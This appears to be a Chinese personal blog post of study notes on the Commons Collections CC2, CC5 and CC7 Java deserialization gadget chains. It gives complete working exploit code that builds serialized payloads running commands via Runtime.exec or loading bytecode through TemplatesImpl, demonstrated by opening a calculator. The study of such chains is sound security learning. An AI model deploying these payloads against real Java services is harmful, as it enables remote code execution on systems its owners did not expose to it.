cc2&cc5&cc7学习笔记
Flow

最后几个链子,不算很难,写在一篇文章了,速战速决!

CC2

环境

  • JDK8u65
  • openJDK 8u65
  • Maven 3.6.3(其余版本可以先试试,不行再降版本)
  • Commons-Collections 4.0

CC2分析

这次CC2和CC4有点像,前面部分差不多,中间用回了InvokerTransformer.transform(),最后也还是用TemplatesImpl加载字节码

主要是从原来的chainTransformer.transfrom()->InstantiateTransformer.transform()->TrAXFilter()->TemplatesImpl.newTransformer()这一段直接替换成用InvokerTransformer.transform()触发TemplatesImpl.newTransformer()

画了张图和CC4做对比

那EXP主要就是修改原来的ChainedTransformer,直接用InvokerTransformer结合transform调用反射调用newTransformer()方法

EXP编写

把原来的

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

变成现在的

1
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

最后代码这么写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);

serialize(priorityQueue);
unserialize("ser.txt");
}

学到后面会发现利用类加载可以不用再写下面这句

1
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

因为在反序列化的时候readObject会自动给_tfactory赋值,只有直接调用类加载的时候才需给他赋值

CC5

CC5分析

直接看yso给的链条,后部分和CC1后部分差不多,从LazyMap.get()直到最后,不同的是这次调用LazyMap.get()的是TiedMapEntry.toString()

里面调用了getValue()->map.get(),接上了LazyMap.get()

从toString往前找,作者给出的是BadAttributeValueExpException的readObject

链子大概就是这样,还是很直观的

EXP编写

前面部分是和CC1一样的,直接拿过来,这个比较简单,直接给出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 前面部分都和CC1一样
HashMap<Object,Object> map = new HashMap<>();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,null);

// new一个BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

// 反射修改BadAttributeValueExpException里面的val,使他指向TiedMapEntry
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field valField = c.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser.txt");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

CC7

CC7分析

直接看yso给出的链条,后半部分还是从LazyMap.get()入手,前面部分从前看,这次用到的是hashtable,他的readObject里有一个reconstitutionPut,调用到AbstractMapDecorator.equals->AbstractMap.equals->LazyMap.get()

流程还是比较直观的,比较难的是要控制里面e.key之类的这些值,后面编写exp的时候再解决

EXP编写

前面部分直接搬前面CC1的(要多回顾,不然容易忘了),后面跳过AbstractMapDecorator,尝试直接引入hashtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 前面部分都和CC1一样
HashMap<Object,Object> map = new HashMap<>();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);

// 引入hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(decoratedMap,"value");
serialize(hashtable);
unserialize("ser.txt");

}

按理说这样是没问题的,引入了hashtable,把LazyMap也包了进去,但是没有如愿弹出计算机

尝试打一个断点,发现在hashtable里reconstitutionPut连for循环都没有进

hashtable的触发要满足一些条件,还挺复杂的,先看最终代码再一个一个解释为什么吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);

Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.txt");

}

问题解决

readObject先创建一个Entry,然后进入for循环读取key,value,顺便调用reconstitutionPut

进入到这个方法后首先通过key计算一个hash值,用这个hash再计算出一个index,这个index是前面readObject里面创建的Entry的索引。

然后判断当前索引处是否有对象,如果有,就进入for循环判断两个对象是否相等,如果没有,通过当前key的hash,以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。

所以我们需要让Entry数组当前索引处的对象哈希=将要挂入的对象哈希,这样才能调用e.key.equals从而进入我们的调用链。

  • 为什么有两个decorateMap,为什么分别给他们的key这么赋值

reconstitutionPut是被遍历调用,第一次调用的时候tab[index]内容是空的,在方法最下面会给它赋一个值。第二次进入这个方法后它就不是空,此时的变量分别是

tab[index] -> 在上一轮for被赋值后,可以把它当成decorateMap1
e -> decorateMap2
而第二次调用reconstitutionPut的时候传入的key value对应decorateMap2的key value

所以为了判断能够进入e.key.equals(key),要先使e.hash == hash

decorateMap1.hash -> decorateMap1.key.hashcode()

也就是decorateMap1decorateMap2两个的key作hashcode()处理后的值相等才能过判断

这里利用到java的一个小bug,”yy”和”zZ”做hashcode处理后值是一样的

  • 为什么put之后要remove操作

然后后面HashTable.put()会调用 equals(),调用完 equals()后,decorateMap2会多增加一个yy键,那就不能满足后面的判断了,删了!

  • 为什么要反射修改iTransformers的值

这个和之前的链子遇到的很像,put的过程中就会走到后面预期的链子,这个时候不想让他有反应,就先让操作对象里面没有要执行的的命令,先是个常数,后面再改回来

主要参考

https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE

http://myblog.ac.cn/archives/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcommoncollections7%E5%88%A9%E7%94%A8%E9%93%BE

最后

文章中有任何理解不对的地方,非常欢迎师傅指正🙏

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep